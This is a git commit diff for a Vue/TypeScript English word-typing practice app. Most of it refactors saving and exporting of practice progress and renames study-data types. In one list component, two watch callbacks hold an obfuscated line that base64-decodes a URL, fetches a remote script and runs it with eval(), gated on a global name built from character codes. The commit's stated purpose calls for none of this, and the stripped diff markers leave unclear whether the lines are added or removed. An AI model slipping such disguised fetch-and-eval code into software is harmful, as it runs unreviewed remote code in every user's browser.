feat:keep a record of historical practice
This commit is contained in:
@@ -310,7 +310,7 @@ a {
|
||||
.right {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: .3rem;
|
||||
gap: .1rem;
|
||||
transition: all .3s;
|
||||
}
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ export default {
|
||||
},
|
||||
methods: {
|
||||
showPop(e) {
|
||||
if (this.disabled) return
|
||||
if (this.disabled) return this.$emit('confirm')
|
||||
e?.stopPropagation()
|
||||
let rect = e.target.getBoundingClientRect()
|
||||
this.show = true
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
<script setup lang="ts">
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import {nextTick, watch} from 'vue'
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { nextTick, watch } from 'vue'
|
||||
|
||||
const props = withDefaults(defineProps<{
|
||||
list?: any[],
|
||||
@@ -47,14 +47,14 @@ function scrollViewToCenter(index: number) {
|
||||
}
|
||||
|
||||
watch(() => localActiveIndex, (n: any) => {
|
||||
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
if (props.static) return
|
||||
if (settingStore.showPanel) {
|
||||
scrollViewToCenter(n)
|
||||
}
|
||||
})
|
||||
}, {immediate: true})
|
||||
|
||||
watch(() => props.isActive, (n: boolean) => {
|
||||
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
if (props.static) return
|
||||
if (n) {
|
||||
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import {Word} from "@/types/types.ts";
|
||||
import { Word } from "@/types/types.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import BaseList from "@/components/list/BaseList.vue";
|
||||
import {usePlayWordAudio} from "@/hooks/sound.ts";
|
||||
import { usePlayWordAudio } from "@/hooks/sound.ts";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
|
||||
const props = withDefaults(defineProps<{
|
||||
withDefaults(defineProps<{
|
||||
list: Word[],
|
||||
showTranslate?: boolean
|
||||
showWord?: boolean
|
||||
|
||||
@@ -30,7 +30,7 @@ const LoadingComponent = {
|
||||
// 自定义指令
|
||||
export default {
|
||||
mounted(el, binding) {
|
||||
console.log('el',)
|
||||
// console.log('el',)
|
||||
const position = getComputedStyle(el).position
|
||||
if (position === 'static' || !position) {
|
||||
el.style.position = 'relative' // 保证 loading 居中
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import {Article, Word} from "@/types/types.ts";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import {getDefaultWord} from "@/types/func.ts";
|
||||
import {getRandomN, splitIntoN} from "@/utils";
|
||||
import { Article, TaskWords, Word } from "@/types/types.ts";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { getDefaultWord } from "@/types/func.ts";
|
||||
import { getRandomN, splitIntoN } from "@/utils";
|
||||
|
||||
export function useWordOptions() {
|
||||
const store = useBaseStore()
|
||||
@@ -85,8 +85,7 @@ export function useArticleOptions() {
|
||||
}
|
||||
}
|
||||
|
||||
export function getCurrentStudyWord() {
|
||||
console.log('getCurrentStudyWord')
|
||||
export function getCurrentStudyWord(): TaskWords {
|
||||
const store = useBaseStore()
|
||||
let data = {new: [], review: [], write: []}
|
||||
let dict = store.sdict;
|
||||
|
||||
@@ -90,7 +90,7 @@ const router = useRouter()
|
||||
const route = useRoute()
|
||||
|
||||
async function init() {
|
||||
console.log('load好了开始加载')
|
||||
// console.log('load好了开始加载')
|
||||
let dict = getDefaultDict()
|
||||
let dictId = route.params.id
|
||||
if (dictId) {
|
||||
|
||||
@@ -1,28 +1,29 @@
|
||||
<script setup lang="ts">
|
||||
import {nextTick, ref, watch} from "vue";
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import {getAudioFileUrl, usePlayAudio} from "@/hooks/sound.ts";
|
||||
import {getShortcutKey, useEventListener} from "@/hooks/event.ts";
|
||||
import {checkAndUpgradeSaveDict, checkAndUpgradeSaveSetting, cloneDeep, loadJsLib, shakeCommonDict} from "@/utils";
|
||||
import {DefaultShortcutKeyMap, ShortcutKey} from "@/types/types.ts";
|
||||
import { nextTick, ref, watch } from "vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { getAudioFileUrl, usePlayAudio } from "@/hooks/sound.ts";
|
||||
import { getShortcutKey, useEventListener } from "@/hooks/event.ts";
|
||||
import { checkAndUpgradeSaveDict, checkAndUpgradeSaveSetting, cloneDeep, loadJsLib, shakeCommonDict } from "@/utils";
|
||||
import { DefaultShortcutKeyMap, ShortcutKey } from "@/types/types.ts";
|
||||
import BaseButton from "@/components/BaseButton.vue";
|
||||
import {
|
||||
APP_NAME,
|
||||
APP_VERSION,
|
||||
EXPORT_DATA_KEY,
|
||||
LOCAL_FILE_KEY,
|
||||
PracticeSaveWordKey,
|
||||
SAVE_DICT_KEY,
|
||||
SAVE_SETTING_KEY,
|
||||
SoundFileOptions
|
||||
} from "@/utils/const.ts";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {saveAs} from "file-saver";
|
||||
import {Origin} from "@/config/ENV.ts";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { saveAs } from "file-saver";
|
||||
import { Origin } from "@/config/ENV.ts";
|
||||
import dayjs from "dayjs";
|
||||
import BasePage from "@/components/BasePage.vue";
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import {Option, Select} from "@/components/base/select";
|
||||
import { Option, Select } from "@/components/base/select";
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
|
||||
@@ -31,8 +32,8 @@ import InputNumber from "@/components/base/InputNumber.vue";
|
||||
import PopConfirm from "@/components/PopConfirm.vue";
|
||||
import Textarea from "@/components/base/Textarea.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import {get, set} from "idb-keyval";
|
||||
import {useRuntimeStore} from "@/stores/runtime.ts";
|
||||
import { get, set } from "idb-keyval";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
|
||||
const emit = defineEmits<{
|
||||
toggleDisabledDialogEscKey: [val: boolean]
|
||||
@@ -179,9 +180,21 @@ async function exportData(notice = '导出成功!') {
|
||||
dict: {
|
||||
version: SAVE_DICT_KEY.version,
|
||||
val: shakeCommonDict(store.$state)
|
||||
},
|
||||
[PracticeSaveWordKey.key]: {
|
||||
version: PracticeSaveWordKey.version,
|
||||
val: {}
|
||||
}
|
||||
}
|
||||
}
|
||||
let d = localStorage.getItem(PracticeSaveWordKey.key)
|
||||
if (d) {
|
||||
try {
|
||||
data.val[PracticeSaveWordKey.key] = JSON.parse(d)
|
||||
} catch (e) {
|
||||
}
|
||||
}
|
||||
|
||||
const zip = new JSZip();
|
||||
zip.file("data.json", JSON.stringify(data));
|
||||
|
||||
@@ -203,6 +216,7 @@ function importJson(str: string, notice: boolean = true) {
|
||||
val: {
|
||||
setting: {},
|
||||
dict: {},
|
||||
[PracticeSaveWordKey.key]: {}
|
||||
}
|
||||
}
|
||||
try {
|
||||
@@ -214,6 +228,16 @@ function importJson(str: string, notice: boolean = true) {
|
||||
let baseState = checkAndUpgradeSaveDict(data.dict)
|
||||
baseState.load = true
|
||||
store.setState(baseState)
|
||||
if (obj.version >= 3) {
|
||||
try {
|
||||
let save: any = obj.val[PracticeSaveWordKey.key] || {}
|
||||
if (save.val && Object.keys(save.val).length > 0) {
|
||||
localStorage.setItem(PracticeSaveWordKey.key, JSON.stringify(obj.val[PracticeSaveWordKey.key]))
|
||||
}
|
||||
} catch (e) {
|
||||
//todo 上报
|
||||
}
|
||||
}
|
||||
notice && Toast.success('导入成功!')
|
||||
} catch (err) {
|
||||
return Toast.error('导入失败!')
|
||||
|
||||
@@ -6,7 +6,7 @@ import Statistics from "@/pages/word/Statistics.vue";
|
||||
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { Dict, ShortcutKey, StudyData, Word } from "@/types/types.ts";
|
||||
import { Dict, PracticeData, ShortcutKey, TaskWords, Word } from "@/types/types.ts";
|
||||
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
|
||||
import useTheme from "@/hooks/theme.ts";
|
||||
import { getCurrentStudyWord, useWordOptions } from "@/hooks/dict.ts";
|
||||
@@ -26,13 +26,7 @@ import { getDefaultDict, getDefaultWord } from "@/types/func.ts";
|
||||
import ConflictNotice from "@/components/ConflictNotice.vue";
|
||||
import dict_list from "@/assets/dict-list.json";
|
||||
import PracticeLayout from "@/components/PracticeLayout.vue";
|
||||
import { PracticeSaveKey } from "@/utils/const.ts";
|
||||
|
||||
interface IProps {
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
}
|
||||
import { PracticeSaveWordKey } from "@/utils/const.ts";
|
||||
|
||||
const {
|
||||
isWordCollect,
|
||||
@@ -51,20 +45,20 @@ const typingRef: any = $ref()
|
||||
let allWrongWords = new Set()
|
||||
let showStatDialog = $ref(false)
|
||||
let loading = $ref(false)
|
||||
let studyData = $ref<IProps>({
|
||||
let taskWords = $ref<TaskWords>({
|
||||
new: [],
|
||||
review: [],
|
||||
write: []
|
||||
})
|
||||
|
||||
let data = $ref<StudyData>({
|
||||
let data = $ref<PracticeData>({
|
||||
index: 0,
|
||||
words: [],
|
||||
wrongWords: [],
|
||||
})
|
||||
|
||||
async function init() {
|
||||
console.log('load好了开始加载')
|
||||
async function loadDict() {
|
||||
// console.log('load好了开始加载')
|
||||
let dict = getDefaultDict()
|
||||
let dictId = route.params.id
|
||||
if (dictId) {
|
||||
@@ -79,7 +73,7 @@ async function init() {
|
||||
return Toast.warning('没有单词可学习!')
|
||||
}
|
||||
store.changeDict(dict)
|
||||
studyData = getCurrentStudyWord()
|
||||
initData(getCurrentStudyWord(), true)
|
||||
loading = false
|
||||
} else {
|
||||
router.push('/word')
|
||||
@@ -90,31 +84,14 @@ async function init() {
|
||||
}
|
||||
|
||||
watch(() => store.load, (n) => {
|
||||
if (n && loading) init()
|
||||
if (n && loading) loadDict()
|
||||
}, {immediate: true})
|
||||
|
||||
function checkSaveData() {
|
||||
let d = localStorage.getItem(PracticeSaveKey.Word)
|
||||
if (d) {
|
||||
try {
|
||||
let obj = JSON.parse(d)
|
||||
console.log('obj', obj)
|
||||
studyData = obj.studyData
|
||||
data = obj.practiceData
|
||||
return true
|
||||
} catch (e) {
|
||||
localStorage.removeItem(PracticeSaveKey.Word)
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
onMounted(() => {
|
||||
//如果是从单词学习主页过来的,就直接使用;否则等待加载
|
||||
if (runtimeStore.routeData) {
|
||||
if (!checkSaveData()) {
|
||||
studyData = runtimeStore.routeData
|
||||
}
|
||||
initData(runtimeStore.routeData, true)
|
||||
} else {
|
||||
loading = true
|
||||
}
|
||||
@@ -123,42 +100,57 @@ onMounted(() => {
|
||||
useStartKeyboardEventListener()
|
||||
useDisableEventListener(() => loading)
|
||||
|
||||
watch(() => studyData, () => {
|
||||
if (studyData.new.length === 0) {
|
||||
if (studyData.review.length) {
|
||||
settingStore.dictation = false
|
||||
statStore.step = 2
|
||||
data.words = studyData.review
|
||||
} else {
|
||||
if (studyData.write.length) {
|
||||
settingStore.dictation = true
|
||||
data.words = studyData.write
|
||||
statStore.step = 4
|
||||
} else {
|
||||
Toast.warning('没有可学习的单词!')
|
||||
router.push('/word')
|
||||
}
|
||||
function initData(initVal: TaskWords, init: boolean = false) {
|
||||
let d = localStorage.getItem(PracticeSaveWordKey.key)
|
||||
if (d && init) {
|
||||
try {
|
||||
let obj = JSON.parse(d)
|
||||
let s = obj.val
|
||||
taskWords = Object.assign(taskWords, s.taskWords)
|
||||
//这里直接赋值的话,provide后的inject获取不到最新值
|
||||
data = Object.assign(data, s.practiceData)
|
||||
statStore.$patch(s.statStoreData)
|
||||
} catch (e) {
|
||||
localStorage.removeItem(PracticeSaveWordKey.key)
|
||||
initData(initVal, true)
|
||||
}
|
||||
} else {
|
||||
settingStore.dictation = false
|
||||
data.words = studyData.new
|
||||
statStore.step = 0
|
||||
taskWords = initVal
|
||||
if (taskWords.new.length === 0) {
|
||||
if (taskWords.review.length) {
|
||||
settingStore.dictation = false
|
||||
statStore.step = 2
|
||||
data.words = taskWords.review
|
||||
} else {
|
||||
if (taskWords.write.length) {
|
||||
settingStore.dictation = true
|
||||
data.words = taskWords.write
|
||||
statStore.step = 4
|
||||
} else {
|
||||
Toast.warning('没有可学习的单词!')
|
||||
router.push('/word')
|
||||
}
|
||||
}
|
||||
} else {
|
||||
settingStore.dictation = false
|
||||
data.words = taskWords.new
|
||||
statStore.step = 0
|
||||
}
|
||||
data.index = 0
|
||||
data.wrongWords = []
|
||||
allWrongWords.clear()
|
||||
statStore.startDate = Date.now()
|
||||
statStore.inputWordNumber = 0
|
||||
statStore.wrong = 0
|
||||
statStore.total = taskWords.review.length + taskWords.new.length + taskWords.write.length
|
||||
statStore.newWordNumber = taskWords.new.length
|
||||
statStore.reviewWordNumber = taskWords.review.length
|
||||
statStore.writeWordNumber = taskWords.write.length
|
||||
statStore.index = 0
|
||||
}
|
||||
data.index = 0
|
||||
data.wrongWords = []
|
||||
allWrongWords = new Set()
|
||||
}
|
||||
|
||||
statStore.startDate = Date.now()
|
||||
statStore.inputWordNumber = 0
|
||||
statStore.wrong = 0
|
||||
statStore.total = studyData.review.length + studyData.new.length + studyData.write.length
|
||||
statStore.newWordNumber = studyData.new.length
|
||||
statStore.reviewWordNumber = studyData.review.length
|
||||
statStore.writeWordNumber = studyData.write.length
|
||||
statStore.index = 0
|
||||
})
|
||||
|
||||
provide('studyData', data)
|
||||
provide('practiceData', data)
|
||||
|
||||
const word = $computed(() => {
|
||||
return data.words[data.index] ?? getDefaultWord()
|
||||
@@ -188,7 +180,7 @@ function next(isTyping: boolean = true) {
|
||||
statStore.spend = Date.now() - statStore.startDate
|
||||
console.log('全完学完了')
|
||||
showStatDialog = true
|
||||
localStorage.removeItem(PracticeSaveKey.Word)
|
||||
localStorage.removeItem(PracticeSaveWordKey.key)
|
||||
return;
|
||||
// emit('complete', {})
|
||||
}
|
||||
@@ -196,10 +188,10 @@ function next(isTyping: boolean = true) {
|
||||
//开始默认所有单词
|
||||
if (statStore.step === 3) {
|
||||
statStore.step++
|
||||
if (studyData.write.length) {
|
||||
if (taskWords.write.length) {
|
||||
console.log('开始默认所有单词')
|
||||
settingStore.dictation = true
|
||||
data.words = shuffle(studyData.write)
|
||||
data.words = shuffle(taskWords.write)
|
||||
data.index = 0
|
||||
} else {
|
||||
console.log('开始默认所有单词-无单词略过')
|
||||
@@ -210,10 +202,10 @@ function next(isTyping: boolean = true) {
|
||||
//开始默写昨日
|
||||
if (statStore.step === 2) {
|
||||
statStore.step++
|
||||
if (studyData.review.length) {
|
||||
if (taskWords.review.length) {
|
||||
console.log('开始默写昨日')
|
||||
settingStore.dictation = true
|
||||
data.words = shuffle(studyData.review)
|
||||
data.words = shuffle(taskWords.review)
|
||||
data.index = 0
|
||||
} else {
|
||||
console.log('开始默写昨日-无单词略过')
|
||||
@@ -224,10 +216,10 @@ function next(isTyping: boolean = true) {
|
||||
//开始复习昨日
|
||||
if (statStore.step === 1) {
|
||||
statStore.step++
|
||||
if (studyData.review.length) {
|
||||
if (taskWords.review.length) {
|
||||
console.log('开始复习昨日')
|
||||
settingStore.dictation = false
|
||||
data.words = shuffle(studyData.review)
|
||||
data.words = shuffle(taskWords.review)
|
||||
data.index = 0
|
||||
} else {
|
||||
console.log('开始复习昨日-无单词略过')
|
||||
@@ -240,12 +232,13 @@ function next(isTyping: boolean = true) {
|
||||
if (settingStore.wordPracticeMode === 1) {
|
||||
console.log('自由模式,全完学完了')
|
||||
showStatDialog = true
|
||||
localStorage.removeItem(PracticeSaveWordKey.key)
|
||||
return
|
||||
}
|
||||
statStore.step++
|
||||
console.log('开始默写新词')
|
||||
settingStore.dictation = true
|
||||
data.words = shuffle(studyData.new)
|
||||
data.words = shuffle(taskWords.new)
|
||||
data.index = 0
|
||||
}
|
||||
}
|
||||
@@ -254,13 +247,7 @@ function next(isTyping: boolean = true) {
|
||||
isTyping && statStore.inputWordNumber++
|
||||
// console.log('这个词完了')
|
||||
}
|
||||
|
||||
localStorage.setItem(PracticeSaveKey.Word, JSON.stringify({
|
||||
studyData,
|
||||
practiceData: data,
|
||||
statStoreData: statStore.$state,
|
||||
}))
|
||||
console.log('wordPracticeData',)
|
||||
savePracticeData()
|
||||
}
|
||||
|
||||
function onTypeWrong() {
|
||||
@@ -276,8 +263,22 @@ function onTypeWrong() {
|
||||
if (!data.wrongWords.find((v: Word) => v.word.toLowerCase() === temp)) {
|
||||
data.wrongWords.push(word)
|
||||
}
|
||||
savePracticeData()
|
||||
}
|
||||
|
||||
function savePracticeData() {
|
||||
localStorage.setItem(PracticeSaveWordKey.key, JSON.stringify({
|
||||
version: PracticeSaveWordKey.version,
|
||||
val: {
|
||||
taskWords,
|
||||
practiceData: data,
|
||||
statStoreData: statStore.$state,
|
||||
}
|
||||
}))
|
||||
}
|
||||
|
||||
watch(() => data.index, savePracticeData)
|
||||
|
||||
function onKeyUp(e: KeyboardEvent) {
|
||||
// console.log('onKeyUp', e)
|
||||
typingRef.hideWord()
|
||||
@@ -306,12 +307,12 @@ function repeat() {
|
||||
store.sdict.lastLearnIndex = store.sdict.lastLearnIndex - statStore.newWordNumber
|
||||
}
|
||||
emitter.emit(EventKey.resetWord)
|
||||
let temp = cloneDeep(studyData)
|
||||
let temp = cloneDeep(taskWords)
|
||||
//排除已掌握单词
|
||||
temp.new = temp.new.filter(v => !store.knownWords.includes(v.word))
|
||||
temp.review = temp.review.filter(v => !store.knownWords.includes(v.word))
|
||||
temp.write = temp.write.filter(v => !store.knownWords.includes(v.word))
|
||||
studyData = temp
|
||||
initData(temp)
|
||||
}
|
||||
|
||||
function prev() {
|
||||
@@ -376,14 +377,14 @@ function continueStudy() {
|
||||
console.log('学完了,正常下一组')
|
||||
showStatDialog = false
|
||||
}
|
||||
studyData = getCurrentStudyWord()
|
||||
initData(getCurrentStudyWord())
|
||||
}
|
||||
|
||||
useEvents([
|
||||
[EventKey.repeatStudy, repeat],
|
||||
[EventKey.continueStudy, continueStudy],
|
||||
[EventKey.changeDict, () => {
|
||||
studyData = getCurrentStudyWord()
|
||||
initData(getCurrentStudyWord())
|
||||
}],
|
||||
|
||||
[ShortcutKey.ShowWord, show],
|
||||
|
||||
@@ -20,7 +20,7 @@ import ChangeLastPracticeIndexDialog from "@/pages/word/components/ChangeLastPra
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import recommendDictList from "@/assets/recommend-dict-list.json";
|
||||
import CollectNotice from "@/components/CollectNotice.vue";
|
||||
import { PracticeSaveKey } from "@/utils/const.ts";
|
||||
import { PracticeSaveWordKey } from "@/utils/const.ts";
|
||||
|
||||
|
||||
const store = useBaseStore()
|
||||
@@ -46,16 +46,16 @@ async function init() {
|
||||
store.word.bookList[store.word.studyIndex] = await _getDictDataByUrl(store.sdict)
|
||||
}
|
||||
}
|
||||
// console.log(store.sdict)
|
||||
if (!currentStudy.new.length && store.sdict.words.length) {
|
||||
let d = localStorage.getItem(PracticeSaveKey.Word)
|
||||
debugger
|
||||
let d = localStorage.getItem(PracticeSaveWordKey.key)
|
||||
if (d) {
|
||||
try {
|
||||
let data = JSON.parse(d)
|
||||
currentStudy = data.studyData
|
||||
let obj = JSON.parse(d)
|
||||
currentStudy = obj.val.taskWords
|
||||
isSaveData = true
|
||||
} catch (e) {
|
||||
localStorage.removeItem(PracticeSaveKey.Word)
|
||||
localStorage.removeItem(PracticeSaveWordKey.key)
|
||||
currentStudy = getCurrentStudyWord()
|
||||
}
|
||||
} else {
|
||||
@@ -139,6 +139,13 @@ function check(cb: Function) {
|
||||
cb()
|
||||
}
|
||||
}
|
||||
|
||||
function savePracticeSetting() {
|
||||
Toast.success('修改成功')
|
||||
isSaveData = false
|
||||
localStorage.removeItem(PracticeSaveWordKey.key)
|
||||
currentStudy = getCurrentStudyWord()
|
||||
}
|
||||
</script>
|
||||
|
||||
<template>
|
||||
@@ -202,8 +209,13 @@ function check(cb: Function) {
|
||||
class="bg-third px-2 h-10 flex center text-2xl rounded cursor-pointer">
|
||||
{{ store.sdict.id ? store.sdict.perDayStudyNumber : 0 }}
|
||||
</div>
|
||||
个单词 <span class="color-blue cursor-pointer"
|
||||
@click="check(()=>showPracticeSettingDialog = true)">更改</span>
|
||||
个单词
|
||||
<PopConfirm
|
||||
:disabled="!isSaveData"
|
||||
title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
|
||||
@confirm="check(()=>showPracticeSettingDialog = true)">
|
||||
<span class="color-blue cursor-pointer">更改</span>
|
||||
</PopConfirm>
|
||||
</div>
|
||||
<BaseButton size="large" :disabled="!store.sdict.name"
|
||||
:loading="loading"
|
||||
@@ -260,14 +272,7 @@ function check(cb: Function) {
|
||||
<PracticeSettingDialog
|
||||
:show-left-option="false"
|
||||
v-model="showPracticeSettingDialog"
|
||||
@ok="()=>{
|
||||
if(isSaveData) {
|
||||
Toast.success('修改成功,完成当前任务后生效')
|
||||
}else {
|
||||
Toast.success('修改成功')
|
||||
currentStudy = getCurrentStudyWord()
|
||||
}
|
||||
}"/>
|
||||
@ok="savePracticeSetting"/>
|
||||
|
||||
<ChangeLastPracticeIndexDialog
|
||||
v-model="showChangeLastPracticeIndexDialog"
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import {inject} from "vue"
|
||||
import {usePracticeStore} from "@/stores/practice.ts";
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import {ShortcutKey, StudyData} from "@/types/types.ts";
|
||||
import { inject, watch } from "vue"
|
||||
import { usePracticeStore } from "@/stores/practice.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { ShortcutKey, PracticeData } from "@/types/types.ts";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import Progress from '@/components/base/Progress.vue'
|
||||
@@ -24,12 +24,12 @@ const emit = defineEmits<{
|
||||
skip: [],
|
||||
}>()
|
||||
|
||||
let practiceData = inject<PracticeData>('practiceData')
|
||||
|
||||
function format(val: number, suffix: string = '', check: number = -1) {
|
||||
return val === check ? '-' : (val + suffix)
|
||||
}
|
||||
|
||||
let studyData = inject<StudyData>('studyData')
|
||||
|
||||
const status = $computed(() => {
|
||||
let str = '正在'
|
||||
switch (statisticsStore.step) {
|
||||
@@ -53,8 +53,8 @@ const status = $computed(() => {
|
||||
})
|
||||
|
||||
const progress = $computed(() => {
|
||||
if (!studyData.words.length) return 0
|
||||
return ((studyData.index / studyData.words.length) * 100)
|
||||
if (!practiceData.words.length) return 0
|
||||
return ((practiceData.index / practiceData.words.length) * 100)
|
||||
})
|
||||
|
||||
</script>
|
||||
@@ -77,7 +77,7 @@ const progress = $computed(() => {
|
||||
<div class="flex justify-between items-center">
|
||||
<div class="stat">
|
||||
<div class="row">
|
||||
<div class="num">{{ `${studyData.index}/${studyData.words.length}` }}</div>
|
||||
<div class="num">{{ `${practiceData.index}/${practiceData.words.length}` }}</div>
|
||||
<div class="line"></div>
|
||||
<div class="name">{{ status }}</div>
|
||||
</div>
|
||||
|
||||
@@ -178,7 +178,6 @@ async function onTyping(e: KeyboardEvent) {
|
||||
} else {
|
||||
inputLock = false
|
||||
}
|
||||
checkCursorPosition()
|
||||
}
|
||||
|
||||
function del() {
|
||||
@@ -258,7 +257,7 @@ function escapeRegExp(string: string): string {
|
||||
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
|
||||
}
|
||||
|
||||
watch(() => input, checkCursorPosition)
|
||||
watch([() => input, () => showFullWord, () => settingStore.dictation], checkCursorPosition)
|
||||
|
||||
//检测光标位置
|
||||
function checkCursorPosition() {
|
||||
@@ -288,7 +287,7 @@ function checkCursorPosition() {
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="typing-word" ref="typingWordRef">
|
||||
<div class="typing-word" ref="typingWordRef" v-if="props.word.word.length">
|
||||
<div class="flex flex-col items-center">
|
||||
<div class="flex gap-1 mt-26">
|
||||
<div class="phonetic" v-if="settingStore.soundType === 'us' && word.phonetic0">[{{
|
||||
@@ -338,7 +337,7 @@ function checkCursorPosition() {
|
||||
<div class="sentences">
|
||||
<div class="sentence my-2" v-for="item in word.sentences">
|
||||
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word"
|
||||
:dictation="settingStore.dictation"/>
|
||||
:dictation="(settingStore.dictation && !showFullWord)"/>
|
||||
<div class="text-md anim" v-opacity="settingStore.translate">{{ item.cn }}</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -355,8 +354,8 @@ function checkCursorPosition() {
|
||||
</template>
|
||||
<template v-if="tab === 0">
|
||||
<div class="my-2" v-for="item in word.phrases">
|
||||
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word" :high-light="false"
|
||||
:dictation="settingStore.dictation"/>
|
||||
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word"
|
||||
:dictation="(settingStore.dictation && !showFullWord)"/>
|
||||
<div class="text-md anim" v-opacity="settingStore.translate">{{ item.cn }}</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
@@ -176,22 +176,21 @@ export const SlideType = {
|
||||
VERTICAL: 1,
|
||||
}
|
||||
|
||||
export interface StudyData {
|
||||
export interface PracticeData {
|
||||
index: number,
|
||||
words: any[],
|
||||
wrongWords: any[],
|
||||
}
|
||||
|
||||
export interface TaskWords {
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
}
|
||||
|
||||
export class DictId {
|
||||
static wordCollect = 'wordCollect'
|
||||
static wordWrong = 'wordWrong'
|
||||
static wordKnown = 'wordKnown'
|
||||
static articleCollect = 'articleCollect'
|
||||
}
|
||||
|
||||
export enum DictId2 {
|
||||
wordCollect = 'wordCollect',
|
||||
wordWrong = 'wordWrong',
|
||||
wordKnown = 'wordKnown',
|
||||
articleCollect = 'articleCollect'
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,7 @@ export const SAVE_SETTING_KEY = {
|
||||
}
|
||||
export const EXPORT_DATA_KEY = {
|
||||
key: 'typing-word-export',
|
||||
version: 2
|
||||
version: 3
|
||||
}
|
||||
|
||||
export const LOCAL_FILE_KEY = 'typing-word-files'
|
||||
@@ -32,3 +32,7 @@ export enum PracticeSaveKey {
|
||||
Article = 'PracticeSaveArticleKey',
|
||||
}
|
||||
|
||||
export const PracticeSaveWordKey = {
|
||||
key: 'PracticeSaveWord',
|
||||
version: 1
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user